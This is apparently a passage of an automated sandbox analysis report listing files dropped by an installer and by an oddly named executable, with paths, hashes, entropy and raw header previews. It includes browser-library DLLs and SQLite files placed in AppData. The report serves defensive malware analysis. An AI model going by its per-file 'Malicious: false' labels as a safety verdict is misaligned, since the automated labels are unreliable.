Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Verdana;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman

C:\Program Files (x86)\ccSearcher\is-46B6D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	684313
Entropy (8bit):	6.465960403665788
Encrypted:	false
SSDEEP:	12288:74mxWBLxEArPb37VzHZA6xNAwtmVNxE7UwRJWcUu7OLxG4:8mxWBLxEArPb37VzHZA6FtmAhUuiLxG4
MD5:	4ED1688FA392C88A83E56C408EC9E013
SHA1:	3C46C248695A47846618EADDC8BFFB25E25ADDD0
SHA-256:	28FFAFB31D044DB5A141ED2FCADAFAD2A64C0A537D9AB937939FDBF710E0830B
SHA-512:	F202BB2F9A5BB089876468F4C5015D6B04BBB2D2D7C04D335EDD2797862C7E14362329D18A80032818D62AFDAC37398B1C7F6CC34FC0E8F35420C17FC1A8F7F8
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................0...................@..............................<%.......<...................................................P......................................................CODE................................ ..`DATA....`...........................@...BSS.....`................................idata..<%.......&..................@....tls.........@...........................rdata.......P......................@..P.reloc......`......................@..P.rsrc....<.......<..................@..P.............0......................@..P........................................................................................................................................

C:\Program Files (x86)\ccSearcher\is-4LQTH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
Category:	dropped
Size (bytes):	272134
Entropy (8bit):	6.156729185977344
Encrypted:	false
SSDEEP:	6144:TNKofL3cEjxCryOOYJH+8a1anwxrcSOQmlBkO+kKo:TNNzsEjxCryOOYvbnwxrcewf+1o
MD5:	8E46BE5A4155710361181E3B67373404
SHA1:	18A19A04DD6E4BFE6731E6978F2CB295E1C52174
SHA-256:	32AB0D1DF26B0DCFE78D393A1F2534D1DAA5BABC6980017303ED925682CE19D0
SHA-512:	5497EEF00048125D67551FBF22747654D97903F0622830299792159DC8532013191FB006A832E7CE2B4383EE2EC67B7B7C1D06C25CF34EEB118D050AC89DC3B7
Malicious:	false
Reputation:	unknown
Preview:	RIFF.&..WAVEfmt ........D.............LIST....INFOIART.... ..ICMT....mp3cut.ru ..ICRD.... ..INAM.... ..IPRD.... ..IPRT....1.ISFT....Lavf55.22.100.data.&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\ccSearcher\is-G00TI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.3086949695628416
Encrypted:	false
SSDEEP:	3:IU4n:X4n
MD5:	AAA149E55DDAE6393FE099990747DA94
SHA1:	F3011A304194E8AA27E0E29E49F8F2C81EAECDBD
SHA-256:	E2C57F46196C1BA3EF69792DEDF532F2A2286BA876E5BB6091C6B173D2E7C5BB
SHA-512:	15121C5C5ECB404BE5E734BE437D744B8FCDB34DDD46D69E5F18CA23E4D74B79B605B9B41973989772432035332D24FFA310F78AF6F44F44C731D416F4A949AB
Malicious:	false
Reputation:	unknown
Preview:	nSearcher.exe /reset

C:\Program Files (x86)\ccSearcher\is-G8CE0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	MS Windows icon resource - 7 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	134921
Entropy (8bit):	6.105680271090377
Encrypted:	false
SSDEEP:	1536:blivjgxiL8DUPKKh1EQ3Zeyo0aIWeTjXV0/KwIhFvyt2M5BH2w:bV4lfptKIW6F0JIzw2M5B1
MD5:	B8ED55BF81883D2BECF23FC020585214
SHA1:	43F6DE28C98380B2FFBA0B29F381EB8408E6F691
SHA-256:	C63B20B68FABD4DF695389494235345CC95CF7E1826896EE6393F0E402B565DA
SHA-512:	E1CB9501575B4CD66AFD6C67BE2AECA1615E9C37C2B37E68A645B21BB6B2CAAE88CAF0EC8BE3513AD72896AB6A870154D17A56F71E50D51581F00C706553B10D
Malicious:	false
Reputation:	unknown
Preview:	......00.... ..%..v... .... ......&........ .h....6........ ......;........ .(...1...@@.... .(B..Y......... .........(...0...`..... ......%.............................................................................................................................................................................................................................................................................................<...^...x.....................}...b...A...!...................................................................................................................................X.................................................................]...................................................................................................................J...................................................................................3.......................................................................................................d......................

C:\Program Files (x86)\ccSearcher\is-OS7IV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	data
Category:	dropped
Size (bytes):	4505597
Entropy (8bit):	5.627429492246494
Encrypted:	false
SSDEEP:	49152:sHNYtvYtzYtFYtbYthYt7z+gV50E7u3epXWi8a+MXgB+:q+gVyxOpd9QB+
MD5:	A48F39C52BEE63D596FEC8E67EBE030E
SHA1:	1F8F6E9E105F0FDDE46689A3A61B0E8CB727E0F1
SHA-256:	ACD1876172ED3D0DC80BE42877EEB964C04CAA7A6322D9F89CD79FC18DFE1A16
SHA-512:	5E0B633CAC6CFDAF2D2E75AAC15A2425B8FB911AF55B4D6BA958D371368AD0A86B2F865D02E52D4176C38EDE63439034B3384E166CD53579519998CBA9671264
Malicious:	false
Reputation:	unknown
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...s..c.........."..........p......`.............@...........................$.....................................................................................................................................................................text....~..........................!..`.od3b8e..*.......0..................A..A.pd3b8f.............................@....qd3b90.............................@....rsrc.... ....... ..................@..A.react2...+.......+.................`...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\ccSearcher\is-PLHHG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	356
Entropy (8bit):	4.884558011565004
Encrypted:	false
SSDEEP:	6:AySGO4KS/x4L8ThcSRFLk6XDuwOyoExvWmFuQUqvJrdt6YAhlAjyIDHAUXV4:Ayf3WPSPLkP/fEFWm/5v3t/byGgH
MD5:	461D6293779BDEF19493C351344F2B71
SHA1:	C441B7DAA5ABF8A2872D55F47585657147451C72
SHA-256:	0C2BD3D1AEB04523291BC72424C802E36C1733E0B72FA775B9DD0A4E9CADE263
SHA-512:	D41DBDF10A61CEDE90D68F1F7E351D9DA441026F7CF9C12AB6ADA017B185455DDBFED74760A3DD3D67ED10A9B1915E79F6ACFF70850B626C68CB1E2B22FC9C25
Malicious:	false
Reputation:	unknown
Preview:	All checksum in MD5....completed.wav..8e46be5a4155710361181e3b67373404..history.rtf..1bfcde2b3d557cfb8b9004055d3a90f5..license_en.rtf..1ae62f00fc368364a2de668b3299d793..license_ru.rtf..fe7c9c6f6e8f720f886bcc65fa2d9b20..nsearcher.exe..c5e7acbda2f8bfa49bd9580120aac7b2..reset.bat..aaa149e55ddae6393fe099990747da94..unins.ico..b8ed55bf81883d2becf23fc020585214

C:\Program Files (x86)\ccSearcher\license_en.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	Rich Text Format data, version 1, unknown character set
Category:	dropped
Size (bytes):	44011
Entropy (8bit):	5.026565347530582
Encrypted:	false
SSDEEP:	384:em3cWBnPz+p/zWFHQ1QDGteo75Y3kpTBLRA6AlEayF:emsuQ1WGIZ/6A9U
MD5:	1AE62F00FC368364A2DE668B3299D793
SHA1:	E4E32C3EDC269987E39FDC0883F589CECF9604B4
SHA-256:	F9FF5B54BB1EBEECCC4104A62E32CAB4556DD75A5F76260E720485D5CC39D7E8
SHA-512:	844F4116FD8FF13B144D6D16DE695F7600283DC0B573CAAB5AE74573301B235AC234CE59D1D30BE8FB8ABBA3DFD27EDF8C53A7E0CD5320C23008B5F354377527
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Verdana;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman

C:\Program Files (x86)\ccSearcher\license_ru.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	Rich Text Format data, version 1, unknown character set
Category:	dropped
Size (bytes):	51922
Entropy (8bit):	4.912794307456054
Encrypted:	false
SSDEEP:	384:eA3cWBnPz+p/zWFHQ1Qp0SEW5FRLU+cB9nGog4jy6XFsa0eo75Y3kpTBLRA6AlE8:eAsuQ1IV75knFBV6ahZ/6A9r
MD5:	FE7C9C6F6E8F720F886BCC65FA2D9B20
SHA1:	2775F12A0BABDEE5CEEDB08452EF72732E49F13C
SHA-256:	B3F54F1D0C3EA747CC52BAD1B363815B9297088CACDF1398C8CFD7F8054CE2BB
SHA-512:	ABBFE43FBE4827C9CEDA8D1FDD3DB3B344E99E0CDC3512E4EF84F965F882BA5E3822A407AC1F974D1986F1CDA645A20C1D00CD16262200FE39574AEFF12F6A1A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Verdana;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman

C:\Program Files (x86)\ccSearcher\reset.bat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.3086949695628416
Encrypted:	false
SSDEEP:	3:IU4n:X4n
MD5:	AAA149E55DDAE6393FE099990747DA94
SHA1:	F3011A304194E8AA27E0E29E49F8F2C81EAECDBD
SHA-256:	E2C57F46196C1BA3EF69792DEDF532F2A2286BA876E5BB6091C6B173D2E7C5BB
SHA-512:	15121C5C5ECB404BE5E734BE437D744B8FCDB34DDD46D69E5F18CA23E4D74B79B605B9B41973989772432035332D24FFA310F78AF6F44F44C731D416F4A949AB
Malicious:	false
Reputation:	unknown
Preview:	nSearcher.exe /reset

C:\Program Files (x86)\ccSearcher\unins.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	MS Windows icon resource - 7 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	134921
Entropy (8bit):	6.105680271090377
Encrypted:	false
SSDEEP:	1536:blivjgxiL8DUPKKh1EQ3Zeyo0aIWeTjXV0/KwIhFvyt2M5BH2w:bV4lfptKIW6F0JIzw2M5B1
MD5:	B8ED55BF81883D2BECF23FC020585214
SHA1:	43F6DE28C98380B2FFBA0B29F381EB8408E6F691
SHA-256:	C63B20B68FABD4DF695389494235345CC95CF7E1826896EE6393F0E402B565DA
SHA-512:	E1CB9501575B4CD66AFD6C67BE2AECA1615E9C37C2B37E68A645B21BB6B2CAAE88CAF0EC8BE3513AD72896AB6A870154D17A56F71E50D51581F00C706553B10D
Malicious:	false
Reputation:	unknown
Preview:	......00.... ..%..v... .... ......&........ .h....6........ ......;........ .(...1...@@.... .(B..Y......... .........(...0...`..... ......%.............................................................................................................................................................................................................................................................................................<...^...x.....................}...b...A...!...................................................................................................................................X.................................................................]...................................................................................................................J...................................................................................3.......................................................................................................d......................

C:\Program Files (x86)\ccSearcher\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	data
Category:	dropped
Size (bytes):	3780
Entropy (8bit):	4.473220104394952
Encrypted:	false
SSDEEP:	96:gpFKp8lD8zpVLoIohqYOIhfrCO2UIWClMVxxpM:WKpMD8zpVLg0IhS
MD5:	C86EDEF2D3B92D6F80F4842189D0A14F
SHA1:	9FF2E49A54BBA744F64574A1340BE5E63A14010A
SHA-256:	E00AB16A86673698D7505BE5355828983F97991CDADB62B9B756E14CA5EF8CCE
SHA-512:	C696421D005A5CF008AA4376601A4B1402E8E13EDAAF0CB9D58103E30EAE3BB0B6C38C65B99C61EBF2E74E1C283CD2D505BE3428648CBE251327EC6E73DE25C3
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................{12B3548E-91B4-4910-9006-6843A25371E9}..........................................................................................CCSearcher......................................................................................................................-...........%................................................................................................................l....................D....428040.user!C:\Program Files (x86)\ccSearcher.................. ..........T.IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..'...dll:kernel32.dll.CreateFileA.............#...dll:kernel32.dll.WriteFile...........!...dll:kernel32.dll.CloseHandle.......!...dll:kernel32.dll.ExitProcess.......$...dll:User32.dll.GetSystemMe

C:\Program Files (x86)\ccSearcher\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	684313
Entropy (8bit):	6.465960403665788
Encrypted:	false
SSDEEP:	12288:74mxWBLxEArPb37VzHZA6xNAwtmVNxE7UwRJWcUu7OLxG4:8mxWBLxEArPb37VzHZA6FtmAhUuiLxG4
MD5:	4ED1688FA392C88A83E56C408EC9E013
SHA1:	3C46C248695A47846618EADDC8BFFB25E25ADDD0
SHA-256:	28FFAFB31D044DB5A141ED2FCADAFAD2A64C0A537D9AB937939FDBF710E0830B
SHA-512:	F202BB2F9A5BB089876468F4C5015D6B04BBB2D2D7C04D335EDD2797862C7E14362329D18A80032818D62AFDAC37398B1C7F6CC34FC0E8F35420C17FC1A8F7F8
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................0...................@..............................<%.......<...................................................P......................................................CODE................................ ..`DATA....`...........................@...BSS.....`................................idata..<%.......&..................@....tls.........@...........................rdata.......P......................@..P.reloc......`......................@..P.rsrc....<.......<..................@..P.............0......................@..P........................................................................................................................................

C:\Users\user\AppData\LocalLow\9ew5udc7Cy3k

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2891393435168748
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPe6IVuvCySEwn7PrH944:QS/inmjVuaySEwn7b944
MD5:	037D23498B81732EEAAAD0E8015F3F85
SHA1:	E7719865D7717A4B36D85609F3EC25C10934587F
SHA-256:	83AA9D5727AD94D394C57A969A7C53C37F79513316FA5E0283A750C886F342D4
SHA-512:	BFFFB8C7759B65BABD232200305699551AC9BF9BF2C778D5DA124A677900869254C6AB4439BF2A99E08690C29C5A2B17EEEBA7382CF4EAAB12168462A49B3D7D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\I5WWa74EQSuS

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2891393435168748
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPe6IVuvCySEwn7PrH944:QS/inmjVuaySEwn7b944
MD5:	037D23498B81732EEAAAD0E8015F3F85
SHA1:	E7719865D7717A4B36D85609F3EC25C10934587F
SHA-256:	83AA9D5727AD94D394C57A969A7C53C37F79513316FA5E0283A750C886F342D4
SHA-512:	BFFFB8C7759B65BABD232200305699551AC9BF9BF2C778D5DA124A677900869254C6AB4439BF2A99E08690C29C5A2B17EEEBA7382CF4EAAB12168462A49B3D7D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Tn0FSK46G6Sz

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.7175172839606828
Encrypted:	false
SSDEEP:	24:TL0PczkwubXYFpFNYcw+6UwcYzHr8CtNdByiWUmozjng15n2PyS3piyQxJEv:TUcYwuLopFgU1YzLHyKDALnMj5iyQ7Ev
MD5:	C1C5F78369A7D66A61D8A8AF47FFC00E
SHA1:	6BADA623EBCC06BE23C97CB069504290FFAC084A
SHA-256:	0528EC1BB5475617C4EA096113BB2D6B07B223945D60E81236FF1BBD72FC6D4F
SHA-512:	39A5BEFD0C5D444C603EE53885EC57709E86CE14E9444F6FB3C26D45B99DD1BB46BA84FE998E11343F30C19BA7F023DA22A16D4D5DB48FA7D57B3E417E9881DE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\freebl3.dll

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	684984
Entropy (8bit):	6.857030838615762
Encrypted:	false
SSDEEP:	12288:0oUg2twzqWC4kBNv1pMByWk6TYnhCevOEH07OqHM65BaFBuY3NUNeCLIV/Rqnhab:0oUg2tJWC44WUuY3mMCLA/R+hw
MD5:	15B61E4A910C172B25FB7D8CCB92F754
SHA1:	5D9E319C7D47EB6D31AAED27707FE27A1665031C
SHA-256:	B2AE93D30C8BEB0B26F03D4A8325AC89B92A299E8F853E5CAA51BB32575B06C6
SHA-512:	7C1C982A2B597B665F45024A42E343A0A07A6167F77EE428A203F23BE94B5F225E22A270D1A41B655F3173369F27991770722D765774627229B6B1BBE2A6DC3F
Malicious:	false
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...&.9b.........."!.........6...........................................................@A........................4,..S....,..........x............T..........8$...&...............................0..................D............................text............................... ..`.rdata.......0......................@..@.data...<F...@.......&..............@....00cfg...............(..............@..@.rsrc...x............*..............@..@.reloc..8$.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\mozglue.dll

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	627128
Entropy (8bit):	6.792651884784197
Encrypted:	false
SSDEEP:	12288:dfsiG5KNZea77VUHQqROmbIDm0ICRfCtbtEE/2OH9E2ARlZYSd:df53NZea3V+QqROmum0nRKx79E2ARlrd
MD5:	F07D9977430E762B563EAADC2B94BBFA
SHA1:	DA0A05B2B8D269FB73558DFCF0ED5C167F6D3877
SHA-256:	4191FAF7E5EB105A0F4C5C6ED3E9E9C71014E8AA39BBEE313BC92D1411E9E862
SHA-512:	6AFD512E4099643BBA3FC7700DD72744156B78B7BDA10263BA1F8571D1E282133A433215A9222A7799F9824F244A2BC80C2816A62DE1497017A4B26D562B7EAF
Malicious:	false
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....9b.........."!.........V......./....................................................@A............................cQ......,....p...............r..........4C...........................W......h0...............................................text............................... ..`.rdata.......0......................@..@.data........0......................@....00cfg.......P....... ..............@..@.tls.........`......."..............@....rsrc........p.......$..............@..@.reloc..4C.......D..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\msvcp140.dll

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	449280
Entropy (8bit):	6.670243582402913
Encrypted:	false
SSDEEP:	12288:UEPa9C9VbL+3Omy5CvyOvzeOKaqhUgiW6QR7t5s03Ooc8dHkC2esGgW8g:UEPa90Vbky5CvyUeOKg03Ooc8dHkC2ed
MD5:	1FB93933FD087215A3C7B0800E6BB703
SHA1:	A78232C352ED06CEDD7CA5CD5CB60E61EF8D86FB
SHA-256:	2DB7FD3C9C3C4B67F2D50A5A50E8C69154DC859780DD487C28A4E6ED1AF90D01
SHA-512:	79CD448E44B5607863B3CD0F9C8E1310F7E340559495589C428A24A4AC49BEB06502D787824097BB959A1C9CB80672630DAC19A405468A0B64DB5EBD6493590E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L....(.[.........."!.....(..........`........@............................................@A.........................g.......r...........................?.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\nss3.dll

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2042296
Entropy (8bit):	6.775178510549486
Encrypted:	false
SSDEEP:	49152:6dvFywfzFAF7fg39IwA49Kap9bGt+qoStYnOsbqbeQom7gN7BpDD5SkIN1g5D92+:pptximYfpx8OwNiVG09
MD5:	F67D08E8C02574CBC2F1122C53BFB976
SHA1:	6522992957E7E4D074947CAD63189F308A80FCF2
SHA-256:	C65B7AFB05EE2B2687E6280594019068C3D3829182DFE8604CE4ADF2116CC46E
SHA-512:	2E9D0A211D2B085514F181852FAE6E7CA6AED4D29F396348BEDB59C556E39621810A9A74671566A49E126EC73A60D0F781FA9085EB407DF1EEFD942C18853BE5
Malicious:	false
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....9b.........."!.........&...............................................`............@A.........................!..\...T...@....@..x....................P..h...h...................................................\....!..@....................text...i........................... ..`.rdata..............................@..@.data....N.......*..................@....00cfg.......0......................@..@.rsrc...x....@......................@..@.reloc..h....P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\softokn3.dll

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	254392
Entropy (8bit):	6.686038834818694
Encrypted:	false
SSDEEP:	6144:uI7A8DMhFE2PlKOcpHSvV6x/CHQyhvs277H0mhWGzTdtb2bbIFxW7zrM2ruyYz+h:uI7A8DMhFE2PlbcpSv0x/CJVUmhDzTvS
MD5:	63A1FE06BE877497C4C2017CA0303537
SHA1:	F4F9CBD7066AFB86877BB79C3D23EDDACA15F5A0
SHA-256:	44BE3153C15C2D18F49674A092C135D3482FB89B77A1B2063D01D02985555FE0
SHA-512:	0475EDC7DFBE8660E27D93B7B8B5162043F1F8052AB28C87E23A6DAF9A5CB93D0D7888B6E57504B1F2359B34C487D9F02D85A34A7F17C04188318BB8E89126BF
Malicious:	false
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...'.9b.........."!......................................................................@A........................tv..S....w...................................5..hq..............................................D{...............................text...V........................... ..`.rdata..............................@..@.data................~..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1099223
Entropy (8bit):	6.502588297211263
Encrypted:	false
SSDEEP:	24576:9jxwSkSteuT4P/y7HjsXAGJyGvN5z4Rui2IXLbO:9Vww8HyrjsvyWN54RZH+
MD5:	DBF4F8DCEFB8056DC6BAE4B67FF810CE
SHA1:	BBAC1DD8A07C6069415C04B62747D794736D0689
SHA-256:	47B64311719000FA8C432165A0FDCDFED735D5B54977B052DE915B1CBBBF9D68
SHA-512:	B572CA2F2E4A5CC93E4FCC7A18C0AE6DF888AA4C55BC7DA591E316927A4B5CFCBDDA6E60018950BE891FF3B26F470CC5CCE34D217C2D35074322AB84C32A25D1
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".,b.v.........!......................... .....a......................................... .........................n................................... ...;...................................................................................text...............................`.P`.data...\|'... ...(..................@.`..rdata...D...P...F...:..............@.`@.bss....(.............................`..edata..n.......,..................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...............................@.0..reloc...;... ...<..................@.0B/4......8....`......................@.@B/19.....R....p......................@..B/31.....]'...@...(..................@..B/45......-...p......................@..B/57.....\............&..............@.0B/70.....#............2..

C:\Users\user\AppData\LocalLow\vcruntime140.dll

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80128
Entropy (8bit):	6.906674531653877
Encrypted:	false
SSDEEP:	1536:l9j/j2886xv555et/MCsjw0BuRK3jteopUecbAdz86B+JfBL+eNv:l9j/j28V55At/zqw+IqLUecbAdz8lJrv
MD5:	1B171F9A428C44ACF85F89989007C328
SHA1:	6F25A874D6CBF8158CB7C491DCEDAA81CEAEBBAE
SHA-256:	9D02E952396BDFF3ABFE5654E07B7A713C84268A225E11ED9A3BF338ED1E424C
SHA-512:	99A06770EEA07F36ABC4AE0CECB2AE13C3ACB362B38B731C3BAED045BF76EA6B61EFE4089CD2EFAC27701E9443388322365BDB039CD388987B24D4A43C973BD1
Malicious:	false
Reputation:	unknown
